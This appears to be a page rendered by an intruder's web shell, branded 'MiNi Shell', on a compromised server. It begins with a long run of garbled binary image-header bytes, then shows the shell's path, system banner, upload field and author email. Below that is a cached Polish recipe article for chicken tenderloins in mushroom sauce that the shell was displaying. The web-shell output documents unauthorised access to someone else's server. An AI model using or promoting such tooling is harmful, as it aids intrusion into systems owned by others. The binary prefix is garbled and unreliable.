JFIF ( %!1!%)+...383-7(-.+  -% &5/------------------------------------------------";!1AQ"aq2#3BRrb*!1"AQa2q#B ?yRd&vGlJwZvK)YrxB#j]ZAT^dpt{[wkWSԋ*QayBbm*&0<|0pfŷM`̬ ^.qR𽬷^EYTFíw<-.j)M-/s yqT'&FKz-([lև<G$wm2*e Z(Y-FVen櫧lҠDwүH4FX1 VsIOqSBۡNzJKzJξcX%vZcFSuMٖ%B ִ##\[%yYꉅ !VĂ1َRI-NsZJLTAPמQ:y״g_g= m֯Ye+Hyje!EcݸࢮSo{׬*h g<@KI$W+W'_> lUs1,o*ʺE.U"N&CTu7_0VyH,q ,)H㲣5<t ;rhnz%ݓz+4 i۸)P6+F>0Tв`&i}Shn?ik܀՟ȧ@mUSLFηh_er i_qt]MYhq 9LaJpPןߘvꀡ\"z[VƬ¤*aZMo=WkpSp \QhMb˒YH=ܒ m`CJt 8oFp]>pP1F>n8(*aڈ.Y݉[iTع JM!x]ԶaJSWҼܩ`yQ`*kE#nNkZKwA_7~ ΁JЍ;-2qRxYk=Uր>Z qThv@.w c{#&@#l;D$kGGvz/7[P+i3nIl`nrbmQi%}rAVPT*SF`{'6RX46PԮp(3W҅U\a*77lq^rT$vs2MU %*ŧ+\uQXVH !4t*Hg"Z챮 JX+RVU+ތ]PiJT XI= iPO=Ia3[ uؙ&2Z@.*SZ (")s8Y/-Fh Oc=@HRlPYp!wr?-dugNLpB1yWHyoP\ѕрiHִ,ِ0aUL.Yy`LSۜ,HZz!JQiVMb{( tژ <)^Qi_`: }8ٱ9_.)a[kSr> ;wWU#M^#ivT܎liH1Qm`cU+!2ɒIX%ֳNړ;ZI$?b$(9f2ZKe㼭qU8I[ U)9!mh1^N0 f_;׆2HFF'4b! yBGH_jтp'?uibQ T#ѬSX5gޒSF64ScjwU`xI]sAM( 5ATH_+s 0^IB++h@_Yjsp0{U@G -:*} TނMH*֔2Q:o@ w5(߰ua+a ~w[3W(дPYrF1E)3XTmIFqT~z*Is*清Wɴa0Qj%{T.ޅ״cz6u6݁h;֦ 8d97ݴ+ޕxзsȁ&LIJT)R0}f }PJdp`_p)əg(ŕtZ 'ϸqU74iZ{=Mhd$L|*UUn &ͶpHYJۋj /@9X?NlܾHYxnuXږAƞ8j ໲݀pQ4;*3iMlZ6w ȵP Shr!ݔDT7/ҡϲigD>jKAX3jv+ ߧز #_=zTm¦>}Tց<|ag{E*ֳ%5zW.Hh~a%j"e4i=vױi8RzM75i֟fEu64\էeo00d H韧rȪz2eulH$tQ>eO$@B /?=#٤ǕPS/·.iP28s4vOuz3zT& >Z2[0+[#Fޑ]!((!>s`rje('|,),y@\pЖE??u˹yWV%8mJ iw:u=-2dTSuGL+m<*צ1as&5su\phƃ qYLֳ>Y(PKi;Uڕp ..!i,54$IUEGLXrUE6m UJC?%4AT]I]F>׹P9+ee"Aid!Wk|tDv/ODc/,o]i"HIHQ_n spv"b}}&I:pȟU-_)Ux$l:fژɕ(I,oxin8*G>ÌKG}Rڀ8Frajٷh !*za]lx%EVRGYZoWѮ昀BXr{[d,t Eq ]lj+ N})0B,e iqT{z+O B2eB89Cڃ9YkZySi@/(W)d^Ufji0cH!hm-wB7C۔֛X$Zo)EF3VZqm)!wUxM49< 3Y .qDfzm |&T"} {*ih&266U9* <_# 7Meiu^h--ZtLSb)DVZH*#5UiVP+aSRIª!p挤c5g#zt@ypH={ {#0d N)qWT kA<Ÿ)/RT8D14y b2^OW,&Bcc[iViVdִCJ'hRh( 1K4#V`pِTw<1{)XPr9Rc 4)Srgto\Yτ~ xd"jO:A!7􋈒+E0%{M'T^`r=E*L7Q]A{]A<5ˋ.}<9_K (QL9FЍsĮC9!rpi T0q!H \@ܩB>F6 4ۺ6΋04ϲ^#>/@tyB]*ĸp6&<џDP9ᗟatM'> b쪗wI!܁V^tN!6=FD܆9*? q6h8  {%WoHoN.l^}"1+uJ ;r& / IɓKH*ǹP-J3+9 25w5IdcWg0n}U@2 #0iv腳z/^ƃOR}IvV2j(tB1){S"B\ ih.IXbƶ:GnI F.^a?>~!k''T[ע93fHlNDH;;sg-@, JOs~Ss^H '"#t=^@'W~Ap'oTڭ{Fن̴1#'c>꜡?F颅B L,2~ת-s2`aHQm:F^j&~*Nūv+{sk$F~ؒ'#kNsٗ D9PqhhkctԷFIo4M=SgIu`F=#}Zi'cu!}+CZI7NuŤIe1XT xC۷hcc7 l?ziY䠩7:E>k0Vxypm?kKNGCΒœap{=i1<6=IOV#WY=SXCޢfxl4[Qe1 hX+^I< tzǟ;jA%n=q@j'JT|na$~BU9؂dzu)m%glwnXL`޹W`AH̸뢙gEu[,'%1pf?tJ Ζmc[\ZyJvn$Hl'<+5[b]v efsЁ ^. &2 yO/8+$ x+zs˧Cޘ'^e fA+ڭsOnĜz,FU%HU&h fGRN擥{N$k}92k`Gn8<ʮsdH01>b{ {+ [k_F@KpkqV~sdy%ϦwK`D!N}N#)x9nw@7y4*\ Η$sR\xts30`O<0m~%U˓5_m ôªs::kB֫.tpv쌷\R)3Vq>ٝj'r-(du @9s5`;iaqoErY${i .Z(Џs^!yCϾ˓JoKbQU{௫e.-r|XWլYkZe0AGluIɦvd7 q -jEfۭt4q +]td_+%A"zM2xlqnVdfU^QaDI?+Vi\ϙLG9r>Y {eHUqp )=sYkt,s1!r,l鄛u#I$-֐2A=A\J]&gXƛ<ns_Q(8˗#)4qY~$'3"'UYcIv s.KO!{, ($LI rDuL_߰ Ci't{2L;\ߵ7@HK.Z)4
Devil Killer Is Here MiNi Shell

MiNi SheLL

Current Path : /home/vmanager/www/frontend/runtime/cache/62/

Linux 9dbcd5f6333d 5.15.0-124-generic #134-Ubuntu SMP Fri Sep 27 20:20:17 UTC 2024 x86_64
Upload File :
Current File : /home/vmanager/www/frontend/runtime/cache/62/625ef8b0a0e9f57e00878bb9c95870b1.bin

a:2:{i:0;a:2:{i:0;s:8302:" 
                    
                    <h3 class="title" itemprop="headline">Polędwiczki z kurczaka w sosie pieczarkowym</h3>
                    <p><span class="glyphicon glyphicon-time" aria-hidden="true"></span> <strong itemprop="datePublished"> 17-11-2015, 00:00</strong>
                        <meta itemprop="dateModified" content=" 17-11-2015, 00:00"/>
                        <div class="hide" itemprop="description">
	Polędwiczka to najsmaczniejsza, obok piersi, część kurczaka. Zaliczana do wysokiej jakości mięsa drobiowego, bogata w składniki odżywcze, a zarazem niskokaloryczna.</div>
                        <div class="hide" itemprop="publisher" itemscope itemtype="https://schema.org/Organization">
                            <meta itemprop="name" content="jedzenie.info.pl">
                            <div itemprop="logo" itemscope itemtype="https://schema.org/ImageObject">
                                <meta itemprop="url" content="https://www.jedzenie.info.pl/images/loga/jedzenie.jpg">
                            </div>
                        </div>
                        <div class="hide" itemprop="image" itemscope itemtype="https://schema.org/ImageObject">
                            <meta itemprop="url" content="https://common.v-manager.pl/uploads/images/articles/60630/crop/800x600/3499cb5dc1-730533001571974106.webp">
                        </div>
                        <meta itemscope itemprop="mainEntityOfPage" itemType="https://schema.org/WebPage" itemid="https://www.jedzenie.info.pl/artykuly/szczegoly/60630"/>
                        
                                        </p>

                    <div class="lorem">
                        <p>
	<em><img alt="Polędwiczki z kurczaka w sosie pieczarkowym" src="https://common.v-manager.pl/uploads/source/articles/60630/0_upload_380f887be0.webp" style="width:200px;height:132px;float:right;" loading="lazy" />Polędwiczka to najsmaczniejsza, obok piersi, część kurczaka. Zaliczana do wysokiej jakości mięsa drobiowego, bogata w składniki odżywcze, a zarazem niskokaloryczna. Ogólnie, drób jest mięsem, które można przygotować na wiele różnych sposobów. Wystarczy tylko pomysł bądź chęć poeksperymentowania w kuchni. Polędwiczka uznawana jest za szlachetną część kurczaka. Ma niezwykle delikatne i miękkie mięso, które polecane jest osobom dbającym o właściwą, urozmaiconą dietę.</em></p><p>
	<strong>Gotowanie zaczyna się od wyboru kurczaka</strong></p><p>
	Tak właśnie, bo drób drobiowi nierówny! Drób jest mięsem, po które Polacy sięgają bardzo chętnie i często. Dlatego najlepiej znajdź sprawdzonego dostawcę bądź kupuj kurczaki spod znanej marki, typu kurczak zagrodowy. Masz pewność, że kurczak pochodzi ze sprawdzonych hodowli i karmiony był tylko karmą roślinną, jest zdrowy, a dzięki temu smaczny na talerzu. Zdrowy kurczak to zdrowy posiłek, a to szczególnie cenne w dzisiejszych czasach!</p><p>
	<strong>Smaczne polędwiczki krok po kroku</strong></p><p>
	<strong>Składniki:</strong></p><ul>
	<li>
		kilka dużych pieczarek</li>
	<li>
		8-10 polędwiczek drobiowych</li>
	<li>
		bulion</li>
	<li>
		łyżka mąki</li>
	<li>
		pół szklanki gęstej śmietany (18%)</li>
	<li>
		duża cebula</li>
	<li>
		sól</li>
	<li>
		pieprz</li>
	<li>
		olej do smażenia</li>
</ul><p>
	Danie przygotujesz w kilkanaście minut, a jest tak smaczne, że szybko znika z talerza! Polędwiczki z kurczaka przygotuj, opłucz, obsyp solą oraz pieprzem, natrzyj, możesz też dodać kilka kropel oliwy z oliwek. Odłóż je na pół godziny do lodówki. Przygotuj pieczarki oraz cebulę. Pieczarki dobrze opłucz, a następnie pokrój wzdłuż na duże plastry. (małe zaginą na talerzu). Cebulę pokrój w piórka. Przyda się większa patelnia. Rozgrzej na niej olej, wrzuć cebulę i poczekaj aż się zeszkli. Wrzuć pieczarki, poczekaj aż odparuje woda, a pieczarki będą miękkie. W kolejnym kroku dodaj bulion, możesz dodać również kostkę bulionową o zapachu grzybów, co doda potrawie większego aromatu. Następnie wrzuć polędwiczki. Całość zagotuj a następnie duś na małym ogniu ok 20 minut. W tym samym czasie wymieszaj ok. pół szklanki śmietany z taką samą ilością wody i łyżką mąki. Całość dobrze wymieszaj, tak by nie powstały grudki. Dodaj do gotujących się polędwiczek. Wszystko wymieszaj. Całość gotuj jeszcze przez chwilę. Na koniec dopraw danie wedle uznania solą oraz pieprzem. Wykładając na talerz, możesz posypać zieloną cebulką.</p><p>
	Pieczarki podkreślają delikatność mięsa pochodzącego z polędwiczek z kurczaka. Możesz również przygotować to danie, zamieniając pieczarki na inne sezonowe grzyby. Świetnie sprawdzają się w tej roli zarówno kurki, prawdziwki oraz podgrzybki.</p><p>
	<strong>Gotowe polędwiczki</strong></p><p>
	Gdy czas pogania, a rodzina czeka na obiad, możesz ich zaskoczyć smakowitymi polędwiczkami, które wystarczy włożyć do piekarnika. <a href="http://drosed.com.pl/produkt/poledwiczki-z-kurczaka/" rel="dofollow noopener" target="_blank">Zdrowe, szybkie danie bez konserwantów</a> i innych dodatków, wkładasz do piekarnika na 30 minut i gotowe. Polędwiczki pochodzą z kurczaka zagrodowego, a więc sprawdzonych hodowli!</p><p>
	Polędwiczki z kurczaka w sosie pieczarkowym możesz podawać z ziemniakami bądź kaszą, a jeśli chodzi o surówkę to masz pełną swobodę wyboru.</p>
                        
                         
 
                        <div class="googleads-article">
<!-- script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js"></script -->
<!-- vManager - w treści artykułu 2 -->
<ins class="adsbygoogle"
     style="display:block"
     data-ad-client="ca-pub-6177099932506559"
     data-ad-slot="9192484574"
     data-ad-format="auto"
     data-full-width-responsive="true"></ins>
<script>
     (adsbygoogle = window.adsbygoogle || []).push({});
</script>
                        </div>


                           
                    </div>
                    
                    <div class="text-center">
                                        </div>

                                            
                      
                        
                        
                    
                                        
                                            <div class="nav-table tags mt05">
                            <div>Tagi:</div>    
                            <div>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=Polędwiczki+z+kurczaka" class="label label-default">Polędwiczki z kurczaka</a>
                                                                    <a href="/wyszukiwarka/artykuly?phrase=danie+bez+konserwantów" class="label label-default">danie bez konserwantów</a>
                                                            </div>
                        </div>
                                            
                        
                    <div id="fb-root"></div>
                    <!--script async defer crossorigin="anonymous" src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0" nonce="2g9iczzS"></script-->
                    
<script>
//<![CDATA[
var lx=!1;window.addEventListener("scroll",function(){(0!=document.documentElement.scrollTop&&!1===lx||0!=document.body.scrollTop&&!1===lx)&&(!function(){var e=document.createElement("script");e.type="text/javascript",e.async=!0,e.src="https://connect.facebook.net/pl_PL/sdk.js#xfbml=1&version=v12.0";var a=document.getElementsByTagName("script")[0];a.parentNode.insertBefore(e,a)}(),lx=!0)},!0);
//]]>
</script>
                    
                    <div class="social text-center mb1">
                        <div class="fb-like" data-href="https://www.jedzenie.info.pl/artykuly/szczegoly/60630" data-width="" data-layout="button" data-action="like" data-show-faces="false" data-share="true"></div>
                    </div>

                    
                    <div id="articles">    
                        
                    
                                    ";i:1;N;}i:1;O:25:"yii\caching\TagDependency":3:{s:4:"tags";a:2:{i:0;s:13:"article_60630";i:1;s:8:"articles";}s:4:"data";a:2:{s:32:"04eef3135415552f2b7eeb3863edfdd5";s:21:"0.91941100 1746078682";s:32:"9f4ebfa1b76d6bc6617aec9034853422";s:21:"0.22954000 1749980350";}s:8:"reusable";b:0;}}

Creat By MiNi SheLL
Email: jattceo@gmail.com